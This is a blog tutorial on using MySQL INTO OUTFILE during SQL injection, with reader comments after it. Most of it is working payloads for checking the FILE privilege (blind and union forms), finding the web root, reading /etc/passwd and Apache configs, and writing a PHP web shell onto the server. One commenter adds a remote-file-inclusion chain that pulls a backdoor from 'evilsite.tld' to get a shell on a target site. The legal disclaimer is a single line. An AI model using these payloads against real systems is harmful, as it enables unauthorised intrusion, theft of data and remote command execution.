MySQL into outfile

This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver.

Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only.

As in the previous articles I’ll assume you know the basics about SQL injection and union select.

1.) The FILE privilege

If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first:
0′ UNION SELECT current_user,null /*
or:
0′ UNION SELECT user(),null /*
This will give us the username@server. We’re just interested in the username by now.

You can also use the following blind SQL injections if you cant access the output of the query.
Guess a name:
1′ AND user() LIKE ‘root
Brute the name letter by letter:
1′ AND MID((user()),1,1)>’m
1′ AND MID((user()),2,1)>’m
1′ AND MID((user()),3,1)>’m

Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5):
0′ UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username

You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:

1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
(one column only, do not add nulls here, it’s not a union select)

You can also recieve the FILE privilege info from the information.schema table on MySQL 5:
0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%

blindly:
1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y

If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try.
If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE.

2.) The web directory problem

Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.

On MySQL 4 we can get an error message displaying the datadir:
0′ UNION SELECT load_file(‘a’),null/*

On MySQL 5 we use:
0′ UNION SELECT @@datadir,null/*

The default path for file writing then is datadir\databasename.
You can figure out the databasename with:
0′ UNION SELECT database(),null/*

Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.

If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx

To provoke an error like this try something like:
0′ AND 1=’0

This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include

Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:
0′ UNION SELECT @@version,null /*
-nt-log at the end means it’s a windows box, -log only means it’s *nix box.
Or take a look at the paths in error messages or at the header.

Typical web directories to guess could be:
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

Use google to get some more ideas.

Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.

3.) create useful files

Once you figured out the right directory you can select data and write it into a file with:
0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt
(How to figure out column/table names, see my article about MySQL table and column names)

Or the whole data without knowing the table/column names:
1′ OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.

You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace.
0′ AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘…

In some cases I’d recommend to use
0′ AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘…
and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.

Or you can write whatever you want into a file:
0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Here are some useful code examples:
// PHP SHELL
<? system($_GET['c']); ?>
This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet.
Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes.

// webserver info
Gain a lot of information about the webserver configuration with:
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); ... ?>
Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect.

At the end some notes regarding INTO OUTFILE:

  • you can’t overwrite files with INTO OUTFILE
  • INTO OUTFILE must be the last statement in the query
  • there is no way I know of to encode the pathname, so quotes are required
  • you can encode your code with char()
  • If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me.

    26 Responses to MySQL into outfile

    1. StelK says:

      Nice article… It has been useful to me 😉

    2. Bernie says:

      Thanks for the article. It`s very useful 🙂

    3. TiT says:

      Thanks!!!!
      (from Russia) 😉

    4. minhphan says:

      very nice tut!!! thumb up!!
      (from Viet Nam)

    5. someone says:

      looks good
      (from Italy 😉 )

    6. Dr.Death says:

      you can encode the path with hex for example load_file(/etc/passwd) will be like this:
      load_file(0x2f6574632f706173737764)

      thanks for the good article.

    7. MaR-V-iN says:

      Nice tut
      greetz from germany

    8. miniyo says:

      What is the significate of: 1’%’0 ?

      What is the relationship with null valor?, I don’t understand :S Can someone explain this to me, please?

      Thanks for the good article!!

      • Reiners says:

        % is the modulo operator. so 8%3 means 8 mod 3 = 2. Obviously MySQL has a problem with modulo 0 which always results in “null” and gives us a nice error. I dont know what exactly causes this behavior.
        however, the error only appears when the first operand is a string, so 8%0 works fine, while ‘8’%0 throws the error. if magic_quotes_gpc is turned on for example and you have to avoid quotes, you can also use systemvars for example because they are treated as strings too:
        ?id=@@version%0

    9. miniyo says:

      Nice,.. Thank you very much ;D

    10. […] MySQL into outfile […]

    11. […] INTO OUTFILE & SQL Injection In 1 on March 12, 2009 at 11:56 pm MySQL into outfile […]

    12. LungZeno says:

      c=r%b means b*n+c=r where n is a integer and b*n is a integer nearest to r. According to the precise definition of %, n may have different value, respectively.
      If b is zero, what is value of r? In this case, r is undefined; r should be NaN (means Not a Number) for float; r is NULL in MySQL which means no results, unknown, etc.

      be continue…

    13. […] MySQL into outfile […]

    14. PonyMagic says:

      Thanks!
      (from Argentina 😉 )

    15. R3M0VED says:

      Thanks!
      (from Indonesia ) 😀

    16. Sho0ter says:

      It is never easy to use outfile with sqli.
      Thanks a lot for the nice tutorial.

    17. 5andr0 says:

      Knowing the username isn’t neccessary to get the file priv. You can simply do that, which is very helpful when having a blind inj.: SELECT File_priv FROM mysql.user WHERE CONCAT(User,’@’,Host)=user();

      You should be careful when comparing only the user with LIKE because of more results (different hostnames, same user). Use always LIMIT 1 when injecting!

    18. […] ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session […]

    19. ZORRO_Blanco says:

      hello i am trying to write a trigger thats saves the image into a file, acutally i was saving the file in the database but i found that saving the image into the hard disk will make my code better so i wrote a trigger that will save the image into a file that named with tha last_inserted_id() so i am using a dynamic filename that is created in the trigger , the trigger is too big so as the database structre but this is the code part that i have problem with:


      set ALastID = (select last_insert_id());
      set ASnapShotFile = concat(ASnapShotPath,’\\’,ALastID,’.jpg’);
      select new.screen into DUMPFILE ASnapShotFile;

      Error Near ‘select new.screen into DUMPFILE ASnapShotFile;’

      so how can i generate a file dynamicly in MySQL???
      I appreciate any help , thanx …

    20. ABH says:

      Thanks.
      If the safe_mode=on
      or system(),exec(),shell_exec(),passthru() disabled you can’t use

      way.

      Instead of you can use this way:(allow_url_fopen=on)

      http://pastebin.com/raw.php?i=TaY0ZXBS
      http://pastebin.com/PiGR6CiY

      LoL

      If the allow_url_include=On
      Then you can simply create RFI condition:

      The Following payload must be encode to hex() before outfile

      After outfile you have to call it:

      You have then call it like it:

      sitemustbeowned.tld/file.php?s=http://evilsite.tld/backdoor.txt?

      You’ll get shell.

      ========================================

      From Azerbaijan 😀

    21. Izetta says:

      I really think this amazing blog post , Bamboo Blinds “MySQL into outfile | Reiners’ Weblog”, quite pleasurable not to mention the post was a good read. Thanks a lot,Allen

    Leave a comment